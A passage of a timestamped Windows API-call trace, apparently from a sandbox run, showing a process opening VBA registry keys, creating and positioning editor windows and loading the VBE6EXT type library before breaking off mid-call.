RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\VBA\\7.1\\Common", phkResult=0xb5690f5da0 | out: phkResult=0xb5690f5da0*=0x7c8) returned 0x0 [0118.951] RegQueryValueExA (in: hKey=0x7c8, lpValueName="Dock", lpReserved=0x0, lpType=0xb5690f5d98, lpData=0x0, lpcbData=0xb5690f5d90*=0x0 | out: lpType=0xb5690f5d98*=0x0, lpData=0x0, lpcbData=0xb5690f5d90*=0x0) returned 0x2 [0118.951] malloc (_Size=0x90) returned 0x2764997ed10 [0118.951] malloc (_Size=0x90) returned 0x2764997edb0 [0118.951] malloc (_Size=0x90) returned 0x2764997ee50 [0118.951] GetParent (hWnd=0x20378) returned 0x401c0 [0118.952] ClientToScreen (in: hWnd=0x401c0, lpPoint=0xb5690f5a90 | out: lpPoint=0xb5690f5a90) returned 1 [0118.952] CopyRect (in: lprcDst=0xb5690f5a98, lprcSrc=0xb5690f5b28 | out: lprcDst=0xb5690f5a98) returned 1 [0118.952] OffsetRect (in: lprc=0xb5690f5a98, dx=-8, dy=-31 | out: lprc=0xb5690f5a98) returned 1 [0118.952] malloc (_Size=0x90) returned 0x2764997eef0 [0118.952] GetParent (hWnd=0x20368) returned 0x401c0 [0118.952] ClientToScreen (in: hWnd=0x401c0, lpPoint=0xb5690f5a90 | out: lpPoint=0xb5690f5a90) returned 1 [0118.952] CopyRect (in: lprcDst=0xb5690f5a98, lprcSrc=0xb5690f5b28 | out: lprcDst=0xb5690f5a98) returned 1 [0118.952] OffsetRect (in: lprc=0xb5690f5a98, dx=-8, dy=-31 | out: lprc=0xb5690f5a98) returned 1 [0118.952] ClientToScreen (in: hWnd=0x401c0, lpPoint=0xb5690f5b30 | out: lpPoint=0xb5690f5b30) returned 1 [0118.952] CopyRect (in: lprcDst=0xb5690f5b38, lprcSrc=0xb5690f5bc8 | out: lprcDst=0xb5690f5b38) returned 1 [0118.952] OffsetRect (in: lprc=0xb5690f5b38, dx=-8, dy=-31 | out: lprc=0xb5690f5b38) returned 1 [0118.952] malloc (_Size=0x90) returned 0x276527c3ae0 [0118.952] malloc (_Size=0x90) returned 0x276527c3b80 [0118.952] malloc (_Size=0x90) returned 0x276527c3c20 [0118.952] GetParent (hWnd=0x201cc) returned 0x401c0 [0118.952] ClientToScreen (in: hWnd=0x401c0, lpPoint=0xb5690f59f0 | out: lpPoint=0xb5690f59f0) returned 1 [0118.952] CopyRect (in: lprcDst=0xb5690f59f8, lprcSrc=0xb5690f5a88 | out: lprcDst=0xb5690f59f8) returned 1 [0118.952] OffsetRect (in: lprc=0xb5690f59f8, dx=-8, dy=-31 | out: lprc=0xb5690f59f8) returned 1 [0118.952] malloc (_Size=0x90) returned 0x276527c3cc0 [0118.952] ClientToScreen (in: hWnd=0x401c0, lpPoint=0xb5690f59f0 | out: lpPoint=0xb5690f59f0) returned 1 [0118.952] CopyRect (in: lprcDst=0xb5690f59f8, lprcSrc=0xb5690f5a88 | out: lprcDst=0xb5690f59f8) returned 1 [0118.952] OffsetRect (in: lprc=0xb5690f59f8, dx=-8, dy=-31 | out: lprc=0xb5690f59f8) returned 1 [0118.952] ClientToScreen (in: hWnd=0x401c0, lpPoint=0xb5690f5a90 | out: lpPoint=0xb5690f5a90) returned 1 [0118.952] CopyRect (in: lprcDst=0xb5690f5a98, lprcSrc=0xb5690f5b28 | out: lprcDst=0xb5690f5a98) returned 1 [0118.952] OffsetRect (in: lprc=0xb5690f5a98, dx=-8, dy=-31 | out: lprc=0xb5690f5a98) returned 1 [0118.952] malloc (_Size=0x90) returned 0x276527c3d60 [0118.952] malloc (_Size=0x90) returned 0x276527c3e00 [0118.953] ClientToScreen (in: hWnd=0x401c0, lpPoint=0xb5690f59f0 | out: lpPoint=0xb5690f59f0) returned 1 [0118.953] CopyRect (in: lprcDst=0xb5690f59f8, lprcSrc=0xb5690f5a88 | out: lprcDst=0xb5690f59f8) returned 1 [0118.953] OffsetRect (in: lprc=0xb5690f59f8, dx=-8, dy=-31 | out: lprc=0xb5690f59f8) returned 1 [0118.953] malloc (_Size=0x90) returned 0x276527c4710 [0118.954] ClientToScreen (in: hWnd=0x401c0, lpPoint=0xb5690f59f0 | out: lpPoint=0xb5690f59f0) returned 1 [0118.954] CopyRect (in: lprcDst=0xb5690f59f8, lprcSrc=0xb5690f5a88 | out: lprcDst=0xb5690f59f8) returned 1 [0118.954] OffsetRect (in: lprc=0xb5690f59f8, dx=-8, dy=-31 | out: lprc=0xb5690f59f8) returned 1 [0118.954] malloc (_Size=0x90) returned 0x276527c40d0 [0118.954] ClientToScreen (in: hWnd=0x401c0, lpPoint=0xb5690f59f0 | out: lpPoint=0xb5690f59f0) returned 1 [0118.954] CopyRect (in: lprcDst=0xb5690f59f8, lprcSrc=0xb5690f5a88 | out: lprcDst=0xb5690f59f8) returned 1 [0118.954] OffsetRect (in: lprc=0xb5690f59f8, dx=-8, dy=-31 | out: lprc=0xb5690f59f8) returned 1 [0118.954] ClientToScreen (in: hWnd=0x401c0, lpPoint=0xb5690f5a90 | out: lpPoint=0xb5690f5a90) returned 1 [0118.954] CopyRect (in: lprcDst=0xb5690f5a98, lprcSrc=0xb5690f5b28 | out: lprcDst=0xb5690f5a98) returned 1 [0118.954] OffsetRect (in: lprc=0xb5690f5a98, dx=-8, dy=-31 | out: lprc=0xb5690f5a98) returned 1 [0118.955] ClientToScreen (in: hWnd=0x401c0, lpPoint=0xb5690f5b30 | out: lpPoint=0xb5690f5b30) returned 1 [0118.955] CopyRect (in: lprcDst=0xb5690f5b38, lprcSrc=0xb5690f5bc8 | out: lprcDst=0xb5690f5b38) returned 1 [0118.955] OffsetRect (in: lprc=0xb5690f5b38, dx=-8, dy=-31 | out: lprc=0xb5690f5b38) returned 1 [0118.955] ClientToScreen (in: hWnd=0x401c0, lpPoint=0xb5690f5bd0 | out: lpPoint=0xb5690f5bd0) returned 1 [0118.955] CopyRect (in: lprcDst=0xb5690f5bd8, lprcSrc=0xb5690f5c68 | out: lprcDst=0xb5690f5bd8) returned 1 [0118.955] OffsetRect (in: lprc=0xb5690f5bd8, dx=-8, dy=-31 | out: lprc=0xb5690f5bd8) returned 1 [0118.955] SetWindowPos (hWnd=0x20378, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x77) returned 1 [0118.956] GetClientRect (in: hWnd=0x20378, lpRect=0xb5690f5018 | out: lpRect=0xb5690f5018) returned 1 [0118.956] IsWindow (hWnd=0x20378) returned 1 [0118.956] GetClientRect (in: hWnd=0x20378, lpRect=0xb5690f4ea0 | out: lpRect=0xb5690f4ea0) returned 1 [0118.956] GetSystemMetrics (nIndex=2) returned 17 [0118.956] MoveWindow (hWnd=0x2036e, X=-1, Y=27, nWidth=102, nHeight=51, bRepaint=1) returned 1 [0118.971] SetWindowPos (hWnd=0x20368, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x77) returned 1 [0118.972] SendMessageA (hWnd=0x2022e, Msg=0x14f, wParam=0x0, lParam=0x0) returned 0x1 [0118.972] BeginDeferWindowPos (nNumWindows=3) returned 0x1200b9 [0118.972] DeferWindowPos (hWinPosInfo=0x1200b9, hWnd=0x2022e, hWndInsertAfter=0x0, x=0, y=0, cx=178, cy=17, uFlags=0x16) returned 0x1200b9 [0118.972] GetWindowRect (in: hWnd=0x20226, lpRect=0xb5690f51a0 | out: lpRect=0xb5690f51a0) returned 1 [0118.972] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x20368, lpPoints=0xb5690f51a0, cPoints=0x2 | out: lpPoints=0xb5690f51a0) returned -3473416 [0118.972] DeferWindowPos (hWinPosInfo=0x1200b9, hWnd=0x20226, hWndInsertAfter=0x0, x=0, y=0, cx=180, cy=21, uFlags=0x116) returned 0x1200b9 [0118.972] SendMessageA (hWnd=0x20226, Msg=0x1328, wParam=0x0, lParam=0xb5690f51a0) returned 0x0 [0118.972] DeferWindowPos (hWinPosInfo=0x1200b9, hWnd=0x20224, hWndInsertAfter=0x0, x=4, y=45, cx=172, cy=-5, uFlags=0x110) returned 0x1200b9 [0118.972] EndDeferWindowPos (hWinPosInfo=0x1200b9) returned 1 [0118.977] InvalidateRect (hWnd=0x20226, lpRect=0x0, bErase=1) returned 1 [0118.977] InvalidateRect (hWnd=0x20224, lpRect=0x0, bErase=1) returned 1 [0118.977] InvalidateRect (hWnd=0x2019e, lpRect=0x0, bErase=1) returned 1 [0118.978] SetWindowPos (hWnd=0x201cc, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x77) returned 1 [0118.978] AdjustWindowRectEx (in: lpRect=0xb5690f5cd0, dwStyle=0x86cc0000, bMenu=0, dwExStyle=0x84 | out: lpRect=0xb5690f5cd0) returned 1 [0118.979] RegisterClassA (lpWndClass=0xb5690f5c20) returned 0xc215 [0118.979] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10023aad000001e2) returned 1 [0118.979] SetThreadDpiAwarenessContext () returned 0x80000011 [0118.979] CreateWindowExA (dwExStyle=0x84, lpClassName=0xc215, lpWindowName=0x0, dwStyle=0x86cc0000, X=25, Y=339, nWidth=603, nHeight=199, hWndParent=0x401c0, hMenu=0x0, hInstance=0x7ff9bde20000, lpParam=0x0) returned 0x10380 [0118.983] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10023aad000001e3) returned 1 [0118.983] SetThreadDpiAwarenessContext () returned 0x11 [0118.983] malloc (_Size=0x60) returned 0x276527c4eb0 [0118.983] SetWindowLongPtrA (hWnd=0x10380, nIndex=-21, dwNewLong=0x276527c4eb8) returned 0x0 [0118.983] GetClientRect (in: hWnd=0x10380, lpRect=0xb5690f5c70 | out: lpRect=0xb5690f5c70) returned 1 [0118.983] MapWindowPoints (in: hWndFrom=0x10380, hWndTo=0x0, lpPoints=0xb5690f5c70, cPoints=0x2 | out: lpPoints=0xb5690f5c70) returned 24248353 [0118.983] ClientToScreen (in: hWnd=0x10380, lpPoint=0xb5690f5b90 | out: lpPoint=0xb5690f5b90) returned 1 [0118.983] CopyRect (in: lprcDst=0xb5690f5b98, lprcSrc=0xb5690f5c70 | out: lprcDst=0xb5690f5b98) returned 1 [0118.983] OffsetRect (in: lprc=0xb5690f5b98, dx=-33, dy=-370 | out: lprc=0xb5690f5b98) returned 1 [0118.983] malloc (_Size=0x90) returned 0x276527c4530 [0118.983] malloc (_Size=0x90) returned 0x276527c4490 [0118.983] ClientToScreen (in: hWnd=0x10380, lpPoint=0xb5690f5b30 | out: lpPoint=0xb5690f5b30) returned 1 [0118.983] CopyRect (in: lprcDst=0xb5690f5b38, lprcSrc=0xb5690f5bc8 | out: lprcDst=0xb5690f5b38) returned 1 [0118.983] OffsetRect (in: lprc=0xb5690f5b38, dx=-33, dy=-370 | out: lprc=0xb5690f5b38) returned 1 [0118.983] malloc (_Size=0x90) returned 0x276527c4cb0 [0118.983] ClientToScreen (in: hWnd=0x10380, lpPoint=0xb5690f5b30 | out: lpPoint=0xb5690f5b30) returned 1 [0118.983] CopyRect (in: lprcDst=0xb5690f5b38, lprcSrc=0xb5690f5bc8 | out: lprcDst=0xb5690f5b38) returned 1 [0118.983] OffsetRect (in: lprc=0xb5690f5b38, dx=-33, dy=-370 | out: lprc=0xb5690f5b38) returned 1 [0118.983] malloc (_Size=0x90) returned 0x276527c43f0 [0118.983] ClientToScreen (in: hWnd=0x10380, lpPoint=0xb5690f5b30 | out: lpPoint=0xb5690f5b30) returned 1 [0118.984] CopyRect (in: lprcDst=0xb5690f5b38, lprcSrc=0xb5690f5bc8 | out: lprcDst=0xb5690f5b38) returned 1 [0118.984] OffsetRect (in: lprc=0xb5690f5b38, dx=-33, dy=-370 | out: lprc=0xb5690f5b38) returned 1 [0118.984] ClientToScreen (in: hWnd=0x10380, lpPoint=0xb5690f5bd0 | out: lpPoint=0xb5690f5bd0) returned 1 [0118.984] CopyRect (in: lprcDst=0xb5690f5bd8, lprcSrc=0xb5690f5c68 | out: lprcDst=0xb5690f5bd8) returned 1 [0118.984] OffsetRect (in: lprc=0xb5690f5bd8, dx=-33, dy=-370 | out: lprc=0xb5690f5bd8) returned 1 [0118.984] AdjustWindowRectEx (in: lpRect=0xb5690f5cd0, dwStyle=0x86cc0000, bMenu=0, dwExStyle=0x84 | out: lpRect=0xb5690f5cd0) returned 1 [0118.984] SetThreadDpiAwarenessContext () returned 0x80000011 [0118.984] CreateWindowExA (dwExStyle=0x84, lpClassName=0xc215, lpWindowName=0x0, dwStyle=0x86cc0000, X=752, Y=98, nWidth=196, nHeight=167, hWndParent=0x401c0, hMenu=0x0, hInstance=0x7ff9bde20000, lpParam=0x0) returned 0x10382 [0118.988] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10023aad000001e4) returned 1 [0118.988] SetThreadDpiAwarenessContext () returned 0x11 [0118.988] malloc (_Size=0x60) returned 0x276527c4f20 [0118.988] SetWindowLongPtrA (hWnd=0x10382, nIndex=-21, dwNewLong=0x276527c4f28) returned 0x0 [0118.988] GetClientRect (in: hWnd=0x10382, lpRect=0xb5690f5c70 | out: lpRect=0xb5690f5c70) returned 1 [0118.988] MapWindowPoints (in: hWndFrom=0x10382, hWndTo=0x0, lpPoints=0xb5690f5c70, cPoints=0x2 | out: lpPoints=0xb5690f5c70) returned 8454904 [0118.988] ClientToScreen (in: hWnd=0x10382, lpPoint=0xb5690f5b90 | out: lpPoint=0xb5690f5b90) returned 1 [0118.988] CopyRect (in: lprcDst=0xb5690f5b98, lprcSrc=0xb5690f5c70 | out: lprcDst=0xb5690f5b98) returned 1 [0118.988] OffsetRect (in: lprc=0xb5690f5b98, dx=-760, dy=-129 | out: lprc=0xb5690f5b98) returned 1 [0118.988] malloc (_Size=0x90) returned 0x276527c48f0 [0118.988] ClientToScreen (in: hWnd=0x10382, lpPoint=0xb5690f5bd0 | out: lpPoint=0xb5690f5bd0) returned 1 [0118.988] CopyRect (in: lprcDst=0xb5690f5bd8, lprcSrc=0xb5690f5c68 | out: lprcDst=0xb5690f5bd8) returned 1 [0118.988] OffsetRect (in: lprc=0xb5690f5bd8, dx=-760, dy=-129 | out: lprc=0xb5690f5bd8) returned 1 [0118.988] AdjustWindowRectEx (in: lpRect=0xb5690f5cd0, dwStyle=0x86cc0000, bMenu=0, dwExStyle=0x84 | out: lpRect=0xb5690f5cd0) returned 1 [0118.988] SetThreadDpiAwarenessContext () returned 0x80000011 [0118.988] CreateWindowExA (dwExStyle=0x84, lpClassName=0xc215, lpWindowName=0x0, dwStyle=0x86cc0000, X=81, Y=529, nWidth=196, nHeight=322, hWndParent=0x401c0, hMenu=0x0, hInstance=0x7ff9bde20000, lpParam=0x0) returned 0x10384 [0118.992] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10023aad000001e5) returned 1 [0118.992] SetThreadDpiAwarenessContext () returned 0x11 [0118.992] malloc (_Size=0x60) returned 0x276527c4f90 [0118.992] SetWindowLongPtrA (hWnd=0x10384, nIndex=-21, dwNewLong=0x276527c4f98) returned 0x0 [0118.993] GetClientRect (in: hWnd=0x10384, lpRect=0xb5690f5c70 | out: lpRect=0xb5690f5c70) returned 1 [0118.993] MapWindowPoints (in: hWndFrom=0x10384, hWndTo=0x0, lpPoints=0xb5690f5c70, cPoints=0x2 | out: lpPoints=0xb5690f5c70) returned 36700249 [0118.993] ClientToScreen (in: hWnd=0x10384, lpPoint=0xb5690f5b90 | out: lpPoint=0xb5690f5b90) returned 1 [0118.993] CopyRect (in: lprcDst=0xb5690f5b98, lprcSrc=0xb5690f5c70 | out: lprcDst=0xb5690f5b98) returned 1 [0118.993] OffsetRect (in: lprc=0xb5690f5b98, dx=-89, dy=-560 | out: lprc=0xb5690f5b98) returned 1 [0118.993] malloc (_Size=0x90) returned 0x276527c4170 [0118.993] ClientToScreen (in: hWnd=0x10384, lpPoint=0xb5690f5bd0 | out: lpPoint=0xb5690f5bd0) returned 1 [0118.993] CopyRect (in: lprcDst=0xb5690f5bd8, lprcSrc=0xb5690f5c68 | out: lprcDst=0xb5690f5bd8) returned 1 [0118.993] OffsetRect (in: lprc=0xb5690f5bd8, dx=-89, dy=-560 | out: lprc=0xb5690f5bd8) returned 1 [0118.993] AdjustWindowRectEx (in: lpRect=0xb5690f5cd0, dwStyle=0x86cc0000, bMenu=0, dwExStyle=0x84 | out: lpRect=0xb5690f5cd0) returned 1 [0118.993] SetThreadDpiAwarenessContext () returned 0x80000011 [0118.993] CreateWindowExA (dwExStyle=0x84, lpClassName=0xc215, lpWindowName=0x0, dwStyle=0x86cc0000, X=818, Y=157, nWidth=79, nHeight=394, hWndParent=0x401c0, hMenu=0x0, hInstance=0x7ff9bde20000, lpParam=0x0) returned 0x10386 [0118.997] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10023aad000001e6) returned 1 [0118.997] SetThreadDpiAwarenessContext () returned 0x11 [0118.997] malloc (_Size=0x60) returned 0x276527c5000 [0118.997] SetWindowLongPtrA (hWnd=0x10386, nIndex=-21, dwNewLong=0x276527c5008) returned 0x0 [0118.997] GetClientRect (in: hWnd=0x10386, lpRect=0xb5690f5c70 | out: lpRect=0xb5690f5c70) returned 1 [0118.997] MapWindowPoints (in: hWndFrom=0x10386, hWndTo=0x0, lpPoints=0xb5690f5c70, cPoints=0x2 | out: lpPoints=0xb5690f5c70) returned 12321594 [0118.997] ClientToScreen (in: hWnd=0x10386, lpPoint=0xb5690f5b90 | out: lpPoint=0xb5690f5b90) returned 1 [0118.997] CopyRect (in: lprcDst=0xb5690f5b98, lprcSrc=0xb5690f5c70 | out: lprcDst=0xb5690f5b98) returned 1 [0118.997] OffsetRect (in: lprc=0xb5690f5b98, dx=-826, dy=-188 | out: lprc=0xb5690f5b98) returned 1 [0118.998] malloc (_Size=0x90) returned 0x276527c45d0 [0118.998] ClientToScreen (in: hWnd=0x10386, lpPoint=0xb5690f5bd0 | out: lpPoint=0xb5690f5bd0) returned 1 [0118.998] CopyRect (in: lprcDst=0xb5690f5bd8, lprcSrc=0xb5690f5c68 | out: lprcDst=0xb5690f5bd8) returned 1 [0118.998] OffsetRect (in: lprc=0xb5690f5bd8, dx=-826, dy=-188 | out: lprc=0xb5690f5bd8) returned 1 [0118.998] RegCloseKey (hKey=0x7c8) returned 0x0 [0118.998] QueryPathOfRegTypeLib (in: guid=0x7ff9be1dd7b0*(Data1=0x2e157, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), wMaj=0x5, wMin=0x3, lcid=0x0, lpbstrPathName=0xb5690f5918 | out: lpbstrPathName=0xb5690f5918) returned 0x0 [0119.000] lstrlenA (lpString="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VBA\\VBA6\\VBE6EXT.OLB") returned 73 [0119.000] malloc (_Size=0x4a) returned 0x276527c5070 [0119.000] malloc (_Size=0x4a) returned 0x276527c50d0 [0119.000] lstrcpyA (in: lpString1=0x276527c5070, lpString2="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VBA\\VBA6\\VBE6EXT.OLB" | out: lpString1="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VBA\\VBA6\\VBE6EXT.OLB") returned="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VBA\\VBA6\\VBE6EXT.OLB" [0119.000] _access_s (_FileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VBA\\VBA6\\VBE6EXT.OLB", _AccessMode=0) returned 0x0 [0119.009] LoadTypeLib (in: szFile="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VBA\\VBA6\\VBE6EXT.OLB", pptlib=0x7ff9be1fff20*=0x0 | out: pptlib=0x7ff9be1fff20*=0x2764b866080) returned 0x0 [0119.022] malloc (_Size=0x70) returned 0x276527c5070 [0119.022] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x40) returned 0x2764556b8e0 [0119.022] ITypeLib:GetTypeInfoOfGuid (in: This=0x2764b866080, GUID=0x7ff9be1db118*(Data1=0x2e172, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppTInfo=0xb5690f5c70 | out: ppTInfo=0xb5690f5c70*=0x2764baebec8) returned 0x0 [0119.022] IUnknown:Release (This=0x2764b866080) returned 0x3 [0119.022] malloc (_Size=0x88) returned 0x276527c50f0 [0119.022] malloc (_Size=0x108) returned 0x276527c5180 [0119.023] malloc (_Size=0x80) returned 0x276527c5290 [0119.023] malloc (_Size=0x180) returned 0x276527c5320 [0119.023] GetKeyState (nVirtKey=16) returned 0 [0119.023] malloc (_Size=0x800) returned 0x276527c54b0 [0119.023] lstrlenA (lpString="Software\\Microsoft\\VBA\\VBE\\6.0\\Addins64") returned 39 [0119.023] malloc (_Size=0x28) returned 0x27649978690 [0119.023] lstrcpyA (in: lpString1=0x27649978690, lpString2="Software\\Microsoft\\VBA\\VBE\\6.0\\Addins64" | out: lpString1="Software\\Microsoft\\VBA\\VBE\\6.0\\Addins64") returned="Software\\Microsoft\\VBA\\VBE\\6.0\\Addins64" [0119.023] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\VBA\\VBE\\6.0\\Addins64", phkResult=0xb5690f5d08 | out: phkResult=0xb5690f5d08*=0x0) returned 0x2 [0119.023] free (_Block=0x27649978690) [0119.023] free (_Block=0x276527c54b0) [0119.023] lstrcpyA (in: lpString1=0xb5690f5a60, lpString2="Software\\Microsoft\\VBA" | out: lpString1="Software\\Microsoft\\VBA") returned="Software\\Microsoft\\VBA" [0119.023] lstrcatA (in: lpString1="Software\\Microsoft\\VBA", lpString2="\\" | out: lpString1="Software\\Microsoft\\VBA\\") returned="Software\\Microsoft\\VBA\\" [0119.023] lstrcatA (in: lpString1="Software\\Microsoft\\VBA\\", lpString2="7.1\\Common" | out: lpString1="Software\\Microsoft\\VBA\\7.1\\Common") returned="Software\\Microsoft\\VBA\\7.1\\Common" [0119.023] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\VBA\\7.1\\Common", phkResult=0xb5690f5c18 | out: phkResult=0xb5690f5c18*=0x1594) returned 0x0 [0119.024] RegOpenKeyExA (in: hKey=0x1594, lpSubKey="Designers", ulOptions=0x0, samDesired=0x20019, phkResult=0xb5690f5c08 | out: phkResult=0xb5690f5c08*=0x0) returned 0x2 [0119.024] RegCloseKey (hKey=0x1594) returned 0x0 [0119.024] lstrcpyA (in: lpString1=0xb5690f5a80, lpString2="Software\\Microsoft\\VBA" | out: lpString1="Software\\Microsoft\\VBA") returned="Software\\Microsoft\\VBA" [0119.024] lstrcatA (in: lpString1="Software\\Microsoft\\VBA", lpString2="\\" | out: lpString1="Software\\Microsoft\\VBA\\") returned="Software\\Microsoft\\VBA\\" [0119.024] lstrcatA (in: lpString1="Software\\Microsoft\\VBA\\", lpString2="7.1\\Common" | out: lpString1="Software\\Microsoft\\VBA\\7.1\\Common") returned="Software\\Microsoft\\VBA\\7.1\\Common" [0119.024] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\VBA\\7.1\\Common", phkResult=0xb5690f5c30 | out: phkResult=0xb5690f5c30*=0x1594) returned 0x0 [0119.024] RegOpenKeyExA (in: hKey=0x1594, lpSubKey="ToolboxControls", ulOptions=0x0, samDesired=0x20019, phkResult=0xb5690f5c28 | out: phkResult=0xb5690f5c28*=0x0) returned 0x2 [0119.024] RegCloseKey (hKey=0x1594) returned 0x0 [0119.024] LoadStringA (in: hInstance=0x276498e0000, uID=0x836, lpBuffer=0xb5690f5d20, cchBufferMax=40 | out: lpBuffer="CtlsShowSelected") returned 0x10 [0119.024] lstrcpyA (in: lpString1=0xb5690f5b20, lpString2="Software\\Microsoft\\VBA" | out: lpString1="Software\\Microsoft\\VBA") returned="Software\\Microsoft\\VBA" [0119.024] lstrcatA (in: lpString1="Software\\Microsoft\\VBA", lpString2="\\" | out: lpString1="Software\\Microsoft\\VBA\\") returned="Software\\Microsoft\\VBA\\" [0119.024] lstrcatA (in: lpString1="Software\\Microsoft\\VBA\\", lpString2="7.1\\Common" | out: lpString1="Software\\Microsoft\\VBA\\7.1\\Common") returned="Software\\Microsoft\\VBA\\7.1\\Common" [0119.024] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\VBA\\7.1\\Common", phkResult=0xb5690f5cb8 | out: phkResult=0xb5690f5cb8*=0x1594) returned 0x0 [0119.024] RegQueryValueExA (in: hKey=0x1594, lpValueName="CtlsShowSelected", lpReserved=0x0, lpType=0x0, lpData=0xb5690f5cc0, lpcbData=0xb5690f5cb0*=0x28 | out: lpType=0x0, lpData=0xb5690f5cc0*=0x0, lpcbData=0xb5690f5cb0*=0x28) returned 0x2 [0119.024] RegCloseKey (hKey=0x1594) returned 0x0 [0119.024] LoadStringA (in: hInstance=0x276498e0000, uID=0x838, lpBuffer=0xb5690f5d20, cchBufferMax=40 | out: lpBuffer="DsnShowSelected") returned 0xf [0119.025] lstrcpyA (in: lpString1=0xb5690f5b20, lpString2="Software\\Microsoft\\VBA" | out: lpString1="Software\\Microsoft\\VBA") returned="Software\\Microsoft\\VBA" [0119.025] lstrcatA (in: lpString1="Software\\Microsoft\\VBA", lpString2="\\" | out: lpString1="Software\\Microsoft\\VBA\\") returned="Software\\Microsoft\\VBA\\" [0119.025] lstrcatA (in: lpString1="Software\\Microsoft\\VBA\\", lpString2="7.1\\Common" | out: lpString1="Software\\Microsoft\\VBA\\7.1\\Common") returned="Software\\Microsoft\\VBA\\7.1\\Common" [0119.025] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\VBA\\7.1\\Common", phkResult=0xb5690f5cb8 | out: phkResult=0xb5690f5cb8*=0x1594) returned 0x0 [0119.025] RegQueryValueExA (in: hKey=0x1594, lpValueName="DsnShowSelected", lpReserved=0x0, lpType=0x0, lpData=0xb5690f5cc0, lpcbData=0xb5690f5cb0*=0x28 | out: lpType=0x0, lpData=0xb5690f5cc0*=0x0, lpcbData=0xb5690f5cb0*=0x28) returned 0x2 [0119.025] RegCloseKey (hKey=0x1594) returned 0x0 [0119.025] SetThreadDpiAwarenessContext () returned 0x80000011 [0119.025] lstrcpyA (in: lpString1=0xb5690f5aa0, lpString2="Software\\Microsoft\\VBA" | out: lpString1="Software\\Microsoft\\VBA") returned="Software\\Microsoft\\VBA" [0119.025] lstrcatA (in: lpString1="Software\\Microsoft\\VBA", lpString2="\\" | out: lpString1="Software\\Microsoft\\VBA\\") returned="Software\\Microsoft\\VBA\\" [0119.025] lstrcatA (in: lpString1="Software\\Microsoft\\VBA\\", lpString2="7.1\\Common" | out: lpString1="Software\\Microsoft\\VBA\\7.1\\Common") returned="Software\\Microsoft\\VBA\\7.1\\Common" [0119.025] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\VBA\\7.1\\Common", phkResult=0xb5690f5c38 | out: phkResult=0xb5690f5c38*=0x1594) returned 0x0 [0119.025] LoadStringA (in: hInstance=0x276498e0000, uID=0x822, lpBuffer=0xb5690f5c40, cchBufferMax=40 | out: lpBuffer="MainWindow") returned 0xa [0119.025] RegQueryValueExA (in: hKey=0x1594, lpValueName="MainWindow", lpReserved=0x0, lpType=0x0, lpData=0xb5690f5d00, lpcbData=0xb5690f5c30*=0x1e | out: lpType=0x0, lpData=0xb5690f5d00*=0x8, lpcbData=0xb5690f5c30*=0x1e) returned 0x2 [0119.025] RegCloseKey (hKey=0x1594) returned 0x0 [0119.025] lstrcpyA (in: lpString1=0xb5690f5d00, lpString2="" | out: lpString1="") returned="" [0119.025] lstrlenA (lpString="") returned 0 [0119.025] MonitorFromWindow (hwnd=0x401c0, dwFlags=0x2) returned 0x10001 [0119.025] GetMonitorInfoA (in: hMonitor=0x10001, lpmi=0xb5690f5c48 | out: lpmi=0xb5690f5c48) returned 1 [0119.028] SetThreadDpiAwarenessContext () returned 0x10 [0119.028] GetCurrentDirectoryA (in: nBufferLength=0x104, lpBuffer=0xb5690f5c60 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0119.029] strnlen (_Str="C:\\Users\\FD1HVy\\Desktop", _MaxCount=0x7fffffff) returned 0x17 [0119.029] malloc (_Size=0x18) returned 0x27649976f80 [0119.029] malloc (_Size=0x18) returned 0x27649976e40 [0119.029] lstrcpynA (in: lpString1=0x27649976f80, lpString2="C:\\Users\\FD1HVy\\Desktop", iMaxLength=24 | out: lpString1="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0119.029] malloc (_Size=0x68) returned 0x276527c54b0 [0119.029] malloc (_Size=0x50) returned 0x276527c5520 [0119.040] GetFocus () returned 0x90050 [0119.273] GlobalHandle (pMem=0x2764512c030) returned 0x27644530158 [0119.273] GlobalUnlock (hMem=0x27644530158) returned 0 [0119.273] free (_Block=0x27649978720) [0119.273] free (_Block=0x2764997a720) [0119.273] malloc (_Size=0x168) returned 0x2764997a720 [0119.273] malloc (_Size=0x20) returned 0x27649978780 [0119.273] GlobalLock (hMem=0x27644530158) returned 0x276529e0920 [0119.273] GlobalSize (hMem=0x27644530158) returned 0x200 [0119.273] SetCursor (hCursor=0x10007) returned 0x10003 [0119.273] malloc (_Size=0x1000) returned 0x276527c6290 [0119.274] malloc (_Size=0xfe0) returned 0x276527c72a0 [0119.274] lstrcmpiA (lpString1="VERSION", lpString2="VERSION") returned 0 [0119.274] lstrcmpiA (lpString1="Begin", lpString2="Begin") returned 0 [0119.275] CLSIDFromString (in: 